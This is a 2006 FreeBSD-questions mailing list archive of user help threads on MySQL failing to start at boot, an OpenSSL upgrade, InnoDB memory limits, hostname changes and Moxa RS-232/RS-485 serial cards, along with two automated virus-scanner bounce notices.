Mobile Tel: +44 (0) 7921 584 048
Fax: +44 (0) 870 048 3829
Email: [EMAIL PROTECTED]
Web: www.davislangdon.com


**
PRIVACY AND CONFIDENTIALITY NOTICE

This email, and any files transmitted with it, is strictly 
confidential and intended solely for the person or organisation to 
whom it is addressed. If it comes to the attention of any other 
unauthorised person, no action may be taken on it nor should it be 
copied or shown to any third party.

If you have received this email in error please return it
to [EMAIL PROTECTED]

This email message has been swept for the presence of computer viruses.
**



Project 
Management | Cost Management | Management Consulting | Legal Support | 
Specification Consulting | Engineering Services | Property Tax & Finance Davis Langdon LLP is a limited liability 
partnership registered in England and Wales with registered number OC306911. A 
list of members' names is available for inspection at MidCity Place, 71 High 
Holborn, London WC1V 6QS, the firm's principal place of business and registered 
office.Davis Langdon LLP is a member firm of Davis Langdon & Seah 
International, with offices in: England, Scotland, Wales, Ireland, France, 
Spain, Poland, Lebanon, Bahrain, UAE, Qatar, Saudi Arabia, Egypt, Brunei, 
China, Hong Kong, India, Indonesia, Korea, Malaysia, Philippines, Singapore, 
Thailand, Vietnam, Australia, New Zealand, South Africa, Botswana and the 
USAPRIVACY AND CONFIDENTIALITY NOTICEThis email, and any 
files transmitted with it, is strictly confidential and intended solely for the 
person or organisation to whom it is addressed. If it comes to the attention of 
any other unauthorised person, no action may be taken on it nor should it be 
copied or shown to any third party. This email message has been swept for the 
presence of computer viruses.If you have received this email in error 
please return it to mailto:[EMAIL PROTECTED]">[EMAIL 
PROTECTED]


_
This e-mail has been scanned for viruses by Verizon Business Internet Managed 
Scanning Services - powered by MessageLabs. For further information visit 
http://www.mci.com
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: RE : Re: MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread Spiros Papadopoulos

Hi again,

On 13/10/06, Desmond Coughlan <[EMAIL PROTECTED]> wrote:


X-No-Archive: true

Thanks guys.. it worked.  I still don't know why MySQL didn't start at
boot.



I am using MySQL occasionally in my FreeBSD. For this reason when i first
had the same with you problem and i found this way to start it, i never
tried to fix it due to the fact that i don't need it..yet.
I will try and fix it when i will really need MySQL to start on startup,
which can be at any time.
I am not 100% sure, this is why i asked for comments from other experienced
users.

On the other hand since it works it is a possible solution! Maybe not the
best possible one, but it is.
I sent you this, to start you working and have time to look for a more
appropriate solution if you want / if exists (must exists).



That's worrying, 'cos if I get hit by a car on my way home tonight, and
the bloke who does IT here knows MySQL even less than I do (no really.. that
_is_ possible..)


I've printed out the command that I used, and pinned it to the wall next to

the machine. :)



b that's gruesome :) You can always put the command in your .cshrc file
(WARNING: i haven't done this myself ! ..but i cannot see any reason why
it should not work), again until you find the way to fix the
/etc/rc.d/*mysql* script

Regards
Spiros
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: RE : Re: MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread Eric
Desmond Coughlan wrote:
> X-No-Archive: true
>
>   Thanks guys.. it worked.  I still don't know why MySQL didn't start at 
> boot.  That's worrying, 'cos if I get hit by a car on my way home tonight, 
> and the bloke who does IT here knows MySQL even less than I do (no really.. 
> that _is_ possible..) 
>
>   I've printed out the command that I used, and pinned it to the wall next to 
> the machine. :)
>
>   D.
> 
> 

check the error logs tho, that will explain why its not restarting. most
likely you have to just delete the old sock files

Eric
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Openssl 0.9.8c woes

2006-10-13 Thread Girish Venkatachalam
On Thu, Oct 12, 2006 at 06:33:38PM +, Mark wrote:
> 
> What is up with openssl 0.9.8c? Or rather, with me installing it. :) I
> compiled it, installed it, and everything went seemingly well.. until I
> used it: (recompiled) httpd core dumps the moment it tries and load a
> certificate; same with stunnel, which really trips saying function are
> being called that really shouldn't be called (?).
> 
> Apache (1.3.37), php4.4.4 and all related stuff recompiled against the new
> openssl (confirmed with ldd). And all seem to need:
> 
> /usr/local/lib/libssl.so.4
> /usr/local/lib/libcrypto.so.4
> 
> Which are there:
> 
> -r--r--r-- 1 root wheel 263434 Oct 12 08:14 /usr/local/lib/libssl.so.4
> -r--r--r-- 1 root wheel 1337303 Oct 12 08:14 /usr/local/lib/libcrypto.so.4
> 
> Is there something in the openssl upgrade process I'm missing? Ought to be
> a real straghtforward process. Things have a way of not being, though. :)
> 
> Thanks,
> 
> - Mark

You seem to have done something ominous. :-)

FreeBSD supports keeping multiple simultaneous versions of shared objects. I 
guess you could have gone that way.

Anyway go to ports dir and reinstall it.

Otherwise you will have trouble.

regards,
Girish
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


(no subject)

2006-10-13 Thread Philip M Brown
Spasibo balshoye Boris, for ALL your tips!

For those who follow this thread and would like more info I have found a
great resource here.

https://www.bb-elec.com/tech_articles/rs485_tips.asp









On Fri, 13 Oct 2006 12:14:37 +0100 Philip M Brown wrote:

Please, keep CC to freebsd-questions for archieves sake so others may
find that info. And, please don't top-post. Thanks for your patience.

> On Fri, 2006-10-13 at 15:06 +0400, Boris Samorodov wrote:
> > 
> > If your hardwares use RS-485 ports than you can connect (up to
> > 32/64/.. -- depends on port chips) to RS-485 net and control them
> > through one master device (one RS-485 port at your server). Setting
up
> > an RS-485 net has it own tips and tricks which you may find at
> > Google. 

> ok, thanks for super quick response. 

You are welcome. ;-)

> it seems my hardware i need to connect to is rs-232.

You may check the documentation for your hardware.

> however as I am bemused with 485 can you please explain, is it as i
> expected, where one of the db25 leads from the card could the be split
> into multiple devices or do i need another box in between.

All RS-485 devices should be connected to one line (2/3/4/5 wires
possible). Maximum number of those devices depends on their chip
properties. Maximun line length (as for standart) is 1200 meters at
maximum speed. The line should be terminated with 120 Ohm resistor at
both ends. Only one device is a master and should initiate a
conversation. All others are slaves and only answer when asked. Slave
devices are addressed by their net address. And so on...

More info is available at Google.


WBR
-- 
Boris Samorodov (bsam)
Research Engineer, http://www.ipt.ru Telephone & Internet SP
FreeBSD committer, http://www.FreeBSD.org The Power To Serve




___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


RS-485 net (was: Re: moxa multiport serial cards)

2006-10-13 Thread Boris Samorodov
On Fri, 13 Oct 2006 12:14:37 +0100 Philip M Brown wrote:

Please, keep CC to freebsd-questions for archieves sake so others may
find that info. And, please don't top-post. Thanks for your patience.

> On Fri, 2006-10-13 at 15:06 +0400, Boris Samorodov wrote:
> > 
> > If your hardwares use RS-485 ports than you can connect (up to
> > 32/64/.. -- depends on port chips) to RS-485 net and control them
> > through one master device (one RS-485 port at your server). Setting up
> > an RS-485 net has it own tips and tricks which you may find at
> > Google. 

> ok, thanks for super quick response. 

You are welcome. ;-)

> it seems my hardware i need to connect to is rs-232.

You may check the documentation for your hardware.

> however as I am bemused with 485 can you please explain, is it as i
> expected, where one of the db25 leads from the card could the be split
> into multiple devices or do i need another box in between.

All RS-485 devices should be connected to one line (2/3/4/5 wires
possible). Maximum number of those devices depends on their chip
properties. Maximun line length (as for standart) is 1200 meters at
maximum speed. The line should be terminated with 120 Ohm resistor at
both ends. Only one device is a master and should initiate a
conversation. All others are slaves and only answer when asked. Slave
devices are addressed by their net address. And so on...

More info is available at Google.


WBR
-- 
Boris Samorodov (bsam)
Research Engineer, http://www.ipt.ru Telephone & Internet SP
FreeBSD committer, http://www.FreeBSD.org The Power To Serve
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


FreeBSD 6.2 MySQL cannot allocate...

2006-10-13 Thread georg
Helo, freebsd-questions.

I have FreeBSD 6.2 with 2GB RAM, 4GB SWAP and MySQL 5.0
In my.cnf I write innodb_buffer_pool_size = 1G

When Mysql 5.0 starting his write to errorr log:
InnoDB: Error: cannot allocate 1073758208 bytes of
InnoDB: memory with malloc! Total allocated memory
InnoDB: by InnoDB 28448296 bytes. Operating system errno: 12
InnoDB: Check if you should increase the swap file or
InnoDB: ulimits of your operating system.
InnoDB: On FreeBSD check you have compiled the OS with
InnoDB: a big enough maximum process size.
InnoDB: Note that in most 32-bit computers the process
InnoDB: memory space is limited to 2 GB or 4 GB.
InnoDB: We keep retrying the allocation for 60 seconds...
InnoDB: Fatal error: cannot allocate the memory for the buffer pool

In kernel conf I write:
options MAXDSIZ=(1224*1024*1024)
options DFLDSIZ=(1224*1024*1024)
options MAXSSIZ=(128*1024*1024)

also in /boot/loader.conf:
kern.maxdsiz="1075771824" # 1GB
kern.dfldsiz="1075771824" # 1GB
kern.maxssiz="268435456" # 128MB

What can I do for solve this error?

Sorry for my English...

-- 
Regards,
georg  mailto:[EMAIL PROTECTED]



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: moxa multiport serial cards

2006-10-13 Thread Boris Samorodov
On Fri, 13 Oct 2006 11:32:01 +0100 Philip M Brown wrote:

> I am a long time user of freebsd but have no -NO knowledge of moxa
> multiport cards. I see there is great support for moxa on freebsd so I
> put my question forth.

> i have acquired Moxa Model cp-114 and am trying to figure out its
> usages.

> The CP-114 Series of multiport serial boards is designed for RS-232 and
> RS-422/485 industrial communication. The CP-114 Series has 2 ports for
> RS-232 or RS-422/485, selectable by jumper, and 2 ports for RS-422/485,
> with each RS-422/485 port able to control up to 32 devices in a
^^  [1]
> multidrop environment.

> so does this mean I can wire up one of the rs-232 ports to a patch
 ^^  [2]
> panel
> and then split that into 32 rj=45 connectors which would in turn be
> connected to various serial devices (pc/router/switchers).

No, mind your [1] and [2]. RS-232 is a point-to-point interface, while
RS-485 is for master->multiple slaves interface.

> or do i need another box that translates these signals. I assumed the
> card did all the processing.

If your hardware (you want to control) uses only RS-232 you should
install a miltiport RS-232 card. BTW, I've got a SUNIX UTS7009P
USB to 7 port RS-232 adapter which uses a pl2303 chip and works great
at FreeBSD.

If your hardwares use RS-485 ports than you can connect (up to
32/64/.. -- depends on port chips) to RS-485 net and control them
through one master device (one RS-485 port at your server). Setting up
an RS-485 net has it own tips and tricks which you may find at Google.


WBR
-- 
Boris Samorodov (bsam)
Research Engineer, http://www.ipt.ru Telephone & Internet SP
FreeBSD committer, http://www.FreeBSD.org The Power To Serve
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


RE : Re: MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread Desmond Coughlan
X-No-Archive: true
   
  Thanks guys.. it worked.  I still don't know why MySQL didn't start at boot.  
That's worrying, 'cos if I get hit by a car on my way home tonight, and the 
bloke who does IT here knows MySQL even less than I do (no really.. that _is_ 
possible..) 
   
  I've printed out the command that I used, and pinned it to the wall next to 
the machine. :)
   
  D.


-- 
Des Coughlan 
  [EMAIL PROTECTED]

  "Un client de plus, c'est un relou de plus..."


-
 Yahoo! Mail réinvente le mail ! Découvrez le nouveau Yahoo! Mail et son 
interface révolutionnaire.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Message deleted

2006-10-13 Thread Mail Admin
Scanner: MailMonitor for SMTP v1.2.2 

Problem description:
Email data:
MessageID: <[EMAIL PROTECTED]>
From: freebsd-questions@freebsd.org
To: [EMAIL PROTECTED]
Cc: 
Subject: [EMAIL PROTECTED]
Scanning part []

Scanning part [transcript.zip]
Attachment validity check: passed.
Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O

Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O




___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Virus found in the message

2006-10-13 Thread Mail Admin
Scanner: MailMonitor for SMTP v1.2.2 

Problem description:
Email data:
MessageID: <[EMAIL PROTECTED]>
From: freebsd-questions@freebsd.org
To: [EMAIL PROTECTED]
Cc: 
Subject: [EMAIL PROTECTED]
Scanning part []

Scanning part [transcript.zip]
Attachment validity check: passed.
Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O

Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O
Virus identity found: W32/MyDoom-O




___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


moxa multiport serial cards

2006-10-13 Thread Philip M Brown
hi,

I am a long time user of freebsd but have no -NO knowledge of moxa
multiport cards. I see there is great support for moxa on freebsd so I
put my question forth.

i have acquired Moxa Model cp-114 and am trying to figure out its
usages.

The CP-114 Series of multiport serial boards is designed for RS-232 and
RS-422/485 industrial communication. The CP-114 Series has 2 ports for
RS-232 or RS-422/485, selectable by jumper, and 2 ports for RS-422/485,
with each RS-422/485 port able to control up to 32 devices in a
multidrop environment.

so does this mean I can wire up one of the rs-232 ports to a patch panel
and then split that into 32 rj=45 connectors which would in turn be
connected to various serial devices (pc/router/switchers).

or do i need another box that translates these signals. I assumed the
card did all the processing.

thanks for any input

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread Gerard Seibert
Olivier Nicole wrote:

[...]

> If you installed MySQL through FreeBSD mechanism, it should be started
> with the comand:
> 
> /usr/local/etc/rc.d/mysql.sh start

Actually, mine is: /usr/local/etc/rc.d/mysql-server

I think it depends on what version is installed.
> 
> provided you have put mysql_enable="YES" in /etc/rc.conf

Same here.

[...]

-- 
Gerard

 sic transit gloria mundi 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread albi
On Fri, 13 Oct 2006 10:18:43 +0100
"Spiros Papadopoulos" <[EMAIL PROTECTED]> wrote:

> # /usr/local/libexec/mysqld -u root
> 
> you probably want to add an ampersand '&' at the end of the line.
> 
> and let me/us know if it works. I am sure this is not the appropriate
> way to do this, but maybe it will get you started.

and if you (original mysql-newbie-poster) want to check the logfiles,
they're usually in /var/db/mysql/

you'll want to look at the *.err file(s),
it could just be a problem with the socket

-- 
grtjs,
albi
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread Spiros Papadopoulos

Hi,

could you please try and run this:

# /usr/local/libexec/mysqld -u root

you probably want to add an ampersand '&' at the end of the line.

and let me/us know if it works. I am sure this is not the appropriate way to
do this, but maybe it will get you started.
I am also curious for the response from experienced people for the above
command which i think will work.
All these provided that you have the mysql server installed..

Regards, Spiros


On 13/10/06, Desmond Coughlan <[EMAIL PROTECTED]> wrote:


X-No-Archive: true

Hi,
With the gracious help of a poster here, I managed to get roundcube up and
running, and had to resort to MySQL, which I know very little of.

After it was all up and running, and we'd added the users and tested their
access to webmail, we decided to put some more memory into the machine.  So
a quick shutdown later, and we were powering back up.  Disaster: MySQL
didn't start and so roundcube mail just gives us 'service currently
unavailable' !!

I've scoured the MySQL website, FAQ, etc., but can I start the damned
database?  Can I hell.

   [EMAIL PROTECTED]/usr/local/bin(111): ./mysqladmin start
./mysqladmin: connect to server at 'localhost' failed
error: 'Can't connect to local MySQL server through socket
'/tmp/mysql.sock' (2)'
Check that mysqld is running and that the socket: '/tmp/mysql.sock'
exists!

... and other similar errors.

Fortunately, this server won't be 'production' until teachers and pupils
come back next week after the Sukkot holidays .. if this had happened when
the server was being accessed by >95 people, bang would have gone our
credibility.

Anyone able to help me get the db up and running, whilst I try to learn
about MySQL before this happens again ?

Thanks.

D.


-
Découvrez une nouvelle façon d'obtenir des réponses à toutes vos questions
! Demandez à ceux qui savent sur Yahoo! Questions/Réponses.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "
[EMAIL PROTECTED]"





--
Spiros Papadopoulos
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Changing Hostname = Reboot machine?

2006-10-13 Thread David Schulz

Hi,

i wasnt asking how to change the hostname, but if there are any  
things i should be aware of or have to do if changing the hostname.


Thanks,
David

On Oct 13, 2006, at 2:12 PM, Jonathan Chen wrote:


On Fri, Oct 13, 2006 at 11:06:54AM +0800, David Schulz wrote:

Hello all,

i would like to change the Host-name one two of my Servers. Do i have
to restart the Machines afterwards, or is the another way i can make
the new Host-name take effect?


hostname(1) is your friend.
--
Jonathan Chen <[EMAIL PROTECTED]>
-- 
-
"I love deadlines. I like the whooshing sound they make as they fly  
by"
- Douglas  
Adams

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions- 
[EMAIL PROTECTED]"


!DSPAM:1,452f2e9a6292014411877!





___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread Olivier Nicole
Hi,

>   With the gracious help of a poster here, I managed to get roundcube up and 
> running, and had to resort to MySQL, which I know very little of.
>
>   After it was all up and running, and we'd added the users and tested their 
> access to webmail, we decided to put some more memory into the machine.  So a 
> quick shutdown later, and we were powering back up.  Disaster: MySQL didn't 
> start and so roundcube mail just gives us 'service currently unavailable' !! 
>
>   I've scoured the MySQL website, FAQ, etc., but can I start the damned 
> database?  Can I hell.
>
> [EMAIL PROTECTED]/usr/local/bin(111): ./mysqladmin start
>   ./mysqladmin: connect to server at 'localhost' failed
> error: 'Can't connect to local MySQL server through socket '/tmp/mysql.sock' 
> (2)'
> Check that mysqld is running and that the socket: '/tmp/mysql.sock' exists!

You say too little about your system to allow proper help.

How did you install MySQL? Fro the source? From the ports? From
package?

If you installed MySQL through FreeBSD mechanism, it should be started
with the comand:

/usr/local/etc/rc.d/mysql.sh start

provided you have put mysql_enable="YES" in /etc/rc.conf

Else youmust locate your MySQL log file and see why it is not
starting, if it is failingbecause of some error.

mysqladmin is a command to MySQL database server, so it suppose that
MySQL is running beforeyou can issue any mysqladmin command.

Bests,

Olivier
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


MySQL and Roundcube Problem - db won't start!

2006-10-13 Thread Desmond Coughlan
X-No-Archive: true
   
  Hi,
  With the gracious help of a poster here, I managed to get roundcube up and 
running, and had to resort to MySQL, which I know very little of.
   
  After it was all up and running, and we'd added the users and tested their 
access to webmail, we decided to put some more memory into the machine.  So a 
quick shutdown later, and we were powering back up.  Disaster: MySQL didn't 
start and so roundcube mail just gives us 'service currently unavailable' !! 
   
  I've scoured the MySQL website, FAQ, etc., but can I start the damned 
database?  Can I hell.
   
[EMAIL PROTECTED]/usr/local/bin(111): ./mysqladmin start
  ./mysqladmin: connect to server at 'localhost' failed
error: 'Can't connect to local MySQL server through socket '/tmp/mysql.sock' 
(2)'
Check that mysqld is running and that the socket: '/tmp/mysql.sock' exists!
   
  ... and other similar errors.
   
  Fortunately, this server won't be 'production' until teachers and pupils come 
back next week after the Sukkot holidays .. if this had happened when the 
server was being accessed by >95 people, bang would have gone our credibility.
  
Anyone able to help me get the db up and running, whilst I try to learn about 
MySQL before this happens again ?
  
Thanks.
  
D.


-
Découvrez une nouvelle façon d'obtenir des réponses à toutes vos questions ! 
Demandez à ceux qui savent sur Yahoo! Questions/Réponses.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"